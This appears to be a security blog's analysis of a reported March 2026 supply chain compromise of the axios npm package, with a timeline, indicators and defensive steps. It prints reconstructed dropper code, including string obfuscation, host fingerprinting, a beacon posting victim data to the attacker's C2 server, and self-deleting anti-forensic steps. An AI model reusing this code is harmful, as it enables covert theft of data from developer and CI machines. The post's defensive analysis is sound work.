Security·

The Axios Supply Chain Attack: Lessons from the March 2026 npm Compromise

A deep technical analysis of the March 2026 Axios npm supply chain attack. Learn how attackers compromised a top-10 npm package to deploy cross-platform RATs, the attack timeline, and essential defense strategies for your organization.

The Axios Supply Chain Attack: Lessons from the March 2026 npm Compromise

On March 31, 2026, one of the most sophisticated supply chain attacks in npm history unfolded. The Axios HTTP client library—a staple in virtually every JavaScript project with over 100 million weekly downloads—was compromised when attackers hijacked a maintainer account and published two malicious versions that deployed cross-platform Remote Access Trojans (RATs) to developer machines worldwide.

This post breaks down exactly what happened, how the attack worked technically, and most importantly, what you need to do to protect your organization.

The Attack at a Glance

DetailInformation
Packageaxios (100M+ weekly downloads)
Malicious Versions1.14.1, 0.30.4
Attack VectorCompromised maintainer npm account
Malicious Dependency[email protected]
PayloadCross-platform RAT (macOS, Windows, Linux)
Exposure WindowMarch 31, 2026, 00:21–03:20 UTC (~3 hours)
AttributionUNC1069 (North Korea-nexus, financially motivated)
C2 Serversfrclak.com:8000 (142.11.206.73)

How the Attack Worked

Step 1: Account Compromise

The attacker compromised the npm account of @jasonsaayman, a lead maintainer of the Axios project. Forensic evidence shows the account's email was changed from [email protected] to [email protected]—an attacker-controlled ProtonMail address.

This wasn't a brute-force attack. The compromise likely involved credential theft, possibly through:

  • Phishing targeting maintainers
  • Malware on the maintainer's machine
  • Session hijacking
  • Previously leaked credentials from other breaches

Step 2: Pre-Staging the Payload

The attack was methodically planned over 18 hours:

2026-03-30 05:57 UTC: [email protected] published
    → Clean decoy to establish npm history
    
2026-03-30 23:59 UTC: [email protected] published
    → Malicious payload with postinstall hook

The attacker published [email protected] 18 hours before the main attack. This "clean" version contained legitimate crypto-js code but served a critical purpose: it established publishing history so the package wouldn't trigger "brand-new package" alerts in security scanners.

Step 3: The Payload Injection

When [email protected] and [email protected] were published, they included this innocuous-looking addition to package.json:

{
  "dependencies": {
    "axios": "^1.14.1",
    "plain-crypto-js": "4.2.1"
  }
}

Critical detail: The malicious dependency was never imported in Axios source code. It existed solely to trigger npm's automatic postinstall script execution.

Step 4: The Dropper Mechanism

When any developer or CI system ran npm install, the following chain executed:

npm install [email protected]
    ↓
npm resolves dependencies
    ↓
Downloads [email protected]
    ↓
Executes postinstall hook: node setup.js
    ↓
Dropper contacts C2 server
    ↓
Downloads platform-specific RAT payload
    ↓
Self-destructs to evade detection

Technical Deep-Dive: The Dropper

The setup.js dropper employed sophisticated obfuscation:

Layer 1: Reversed Base64 with padding substitution

// Obfuscated strings using custom encoding
const payload = atob(str.split('').reverse().join('').replace(/~/g, '='));

Layer 2: XOR cipher with hardcoded key

const key = 'OrDeR_7077';
const decrypted = encrypted.map((b, i) => b ^ key.charCodeAt(i % key.length) ^ 333);

Deobfuscated functionality:

// Platform detection
const platform = os.platform();

// C2 communication
const c2Server = 'sfrclak.com:8000';
const victimId = crypto.randomBytes(8).toString('hex');

// System fingerprinting
const sysInfo = {
  hostname: os.hostname(),
  username: os.userInfo().username,
  platform: platform,
  arch: os.arch(),
  version: os.release(),
  processes: getRunningProcesses()
};

// Beacon to C2 every 60 seconds
setInterval(() => {
  fetch(`http://${c2Server}/beacon`, {
    method: 'POST',
    headers: { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)' },
    body: JSON.stringify({ victimId, ...sysInfo })
  });
}, 60000);

Platform-Specific Payloads

macOS Payload

  • Drop location: /Library/Caches/com.apple.act.mond (masquerading as Apple daemon)
  • Capabilities:
    • File system enumeration (/Applications, ~/Library)
    • Process injection via codesign --force --deep --sign -
    • AppleScript execution
    • Screenshot capture
    • Keylogging

Windows Payload

  • Drop location: %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal)
  • Execution: Hidden PowerShell with execution policy bypass
  • Capabilities:
    • Registry manipulation
    • Persistence via scheduled tasks
    • Credential harvesting
    • Lateral movement

Linux Payload

  • Drop location: /tmp/ld.py
  • Execution: nohup python3 /tmp/ld.py & (orphaned process)
  • Capabilities:
    • SSH key exfiltration
    • Sudo privilege escalation attempts
    • Container escape attempts

Step 5: Self-Destruction

After execution, the malware performed anti-forensics:

// Delete the dropper
fs.unlinkSync('setup.js');

// Replace malicious package.json with clean decoy
fs.renameSync('package.md', 'package.json');

// Remove npm cache entries
try {
  execSync('npm cache clean --force');
} catch(e) {}

The result: a developer inspecting node_modules/plain-crypto-js after installation would find a seemingly legitimate package with no obvious signs of compromise.

The Detection Breakthrough

The attack was detected through multiple converging signals:

StepSecurity AI Package Analysis

StepSecurity's AI Package Analyst flagged both versions within minutes of publication:

Alert: Anomalous dependency chain detected
Package: [email protected]
New dependency: [email protected]
Risk factors:
  - Package not imported in source code
  - First appearance in dependency tree
  - Postinstall script present
  - Suspicious C2 network activity

Harden-Runner CI Detection

Harden-Runner (used by 12,000+ public repos) detected the C2 callback during CI runs:

# Example detected in backstage repository
- Run: npm install
  Network Events:
    - Outbound connection to sfrclak.com:8000
    - Protocol: HTTP
    - User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)
    - Anomaly: Never seen in previous workflow runs

npm Registry Metadata Analysis

Security researchers identified the smoking gun in npm metadata:

// Legitimate release ([email protected])
{
  "publishConfig": {
    "provenance": true
  },
  "gitHead": "a1b2c3d...",
  "_npmUser": "jasonsaayman"
}

// Malicious release ([email protected])
{
  // Missing: provenance, gitHead
  // Changed: email to [email protected]
  "_npmUser": "jasonsaayman"  // Same username, different credentials
}

The shift from OIDC Trusted Publisher (cryptographically verified GitHub Actions) to manual CLI publish with a changed email was the tell.

Immediate Actions Required

If You Installed Axios During the Window

Assume compromise. The RAT was active and beaconing within 2 seconds of installation.

  1. Isolate the affected system immediately
  2. Rotate all credentials that touched the system:
    • SSH keys
    • API tokens
    • npm/Node.js registry tokens
    • Cloud provider credentials
    • Database credentials
  3. Audit for lateral movement:
    • Check authentication logs
    • Review recent deploys
    • Scan for persistence mechanisms
  4. Reimage the machine or perform complete OS reinstallation

Audit Your Dependencies

# Check if you have the malicious versions
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4" package*.json yarn.lock

# Check for the malicious dependency
grep -r "plain-crypto-js" package*.json yarn.lock

# Use Snyk CLI
npx snyk test --severity-threshold=high

# Check Snyk advisory
# SNYK-JS-AXIOS-15850650
# SNYK-JS-PLAINCRYPTOJS-15850652

Verify Your Lockfiles

# Check axios version in lockfile
npm list axios
yarn list axios
pnpm list axios

# If using 1.14.1 or 0.30.4:
# 1. Delete node_modules
# 2. Delete lockfile
# 3. Update to safe version
# 4. Reinstall
npm install [email protected]  # or latest safe version

Defense Strategies

1. Implement Dependency Pinning

Never use floating versions in production:

// ❌ Dangerous
{
  "dependencies": {
    "axios": "^1.14.0"
  }
}

// ✅ Safe
{
  "dependencies": {
    "axios": "1.14.0"
  }
}

Commit your lockfile and verify it in CI:

# .github/workflows/ci.yml
- name: Verify lockfile
  run: |
    if ! git diff --exit-code package-lock.json; then
      echo "Lockfile changed during install. Potential attack."
      exit 1
    fi

2. Use Private Registry Proxies

Proxy npm through a private registry that can block malicious packages:

// .npmrc
registry=https://your-private-registry.company.com

// With package filtering
@axios:registry=https://registry.npmjs.org
// Block known malicious packages
// Configure via registry dashboard

3. Enable Post-Install Script Controls

# npm
npm config set ignore-scripts true
npm install
npm run build  # Run scripts explicitly after review

# yarn
yarn install --ignore-scripts

# pnpm
pnpm install --ignore-scripts

4. Implement Network Monitoring in CI

Use Harden-Runner or similar tools to detect anomalous outbound connections:

- uses: step-security/harden-runner@v2
  with:
    egress-policy: block
    allowed-endpoints: |
      registry.npmjs.org:443
      github.com:443
      *.s3.amazonaws.com:443

5. Registry Metadata Monitoring

Monitor for suspicious changes:

// Watch for:
// - Email changes in maintainer accounts
// - New dependencies appearing
// - Version bumps without corresponding git tags
// - Publish method changes (OIDC → CLI)

const axiosMetadata = await fetch('https://registry.npmjs.org/axios');
const latest = axiosMetadata.versions['1.14.1'];

if (latest._npmUser.email !== '[email protected]') {
  alert('Potential compromise detected');
}

6. Use Software Composition Analysis (SCA)

Tools like Snyk, Dependabot, and npm audit provide real-time alerts:

# Snyk
npm install -g snyk
snyk test
snyk monitor  # Continuous monitoring

# Dependabot (GitHub)
# Enable in repository settings

# npm audit
npm audit --audit-level=high

Long-Term Strategic Changes

For Package Maintainers

  1. Enable 2FA on all npm accounts (mandatory)
  2. Use npm's "publish with provenance" for all releases
  3. Maintain multiple maintainers with independent access
  4. Monitor for unauthorized publishes via webhooks
  5. Implement package signing with Sigstore

For Organizations

  1. Vendor your critical dependencies
    • Fork packages to your private registry
    • Review all updates before adoption
    • Pin to your own versions
  2. Implement supply chain security platforms
    • StepSecurity
    • Socket.dev
    • Phylum
  3. Build security into the SDLC
    • Pre-commit hooks for dependency scanning
    • CI gates for vulnerability detection
    • Automated SBOM generation
  4. Create incident response playbooks
    • Supply chain compromise scenarios
    • Rapid dependency rollback procedures
    • Credential rotation workflows

The Bigger Picture: Supply Chain Security in 2026

This attack represents a new level of sophistication:

  • Pre-staging: 18-hour preparation window
  • Multi-platform: Simultaneous macOS, Windows, Linux payloads
  • Dual-branch: Both 1.x and 0.x release lines targeted
  • Self-destructing: Anti-forensics to evade detection
  • Nation-state grade: Attributed to UNC1069 (North Korea)

The attackers understood npm's trust model intimately:

  • They knew about postinstall hooks
  • They understood how to evade "new package" alerts
  • They exploited the gap between npm install and security scanning

Industry Response

Following this incident, several initiatives are accelerating:

  1. npm is expanding package signing requirements
  2. GitHub is mandating 2FA for all npm publishers
  3. New SLSA (Supply-chain Levels for Software Artifacts) requirements
  4. Increased adoption of private registry proxies

Conclusion

The Axios compromise demonstrates that even the most trusted, widely-used packages can become attack vectors. The attackers didn't exploit a vulnerability in Axios code—they exploited the trust we place in the entire npm ecosystem.

Key takeaways:

  1. Trust but verify: Even popular packages need scrutiny
  2. Lockfiles are critical: They prevent silent updates to malicious versions
  3. CI security matters: Your build pipeline is an attack surface
  4. Speed of response: The ~3-hour window could have been devastating without rapid detection
  5. Defense in depth: No single control is sufficient

The JavaScript ecosystem moves fast, but attackers move faster. Building resilience requires technical controls, process discipline, and constant vigilance.


Need help securing your JavaScript supply chain? Contact Tropical Media for a comprehensive dependency security audit and implementation roadmap.

Resources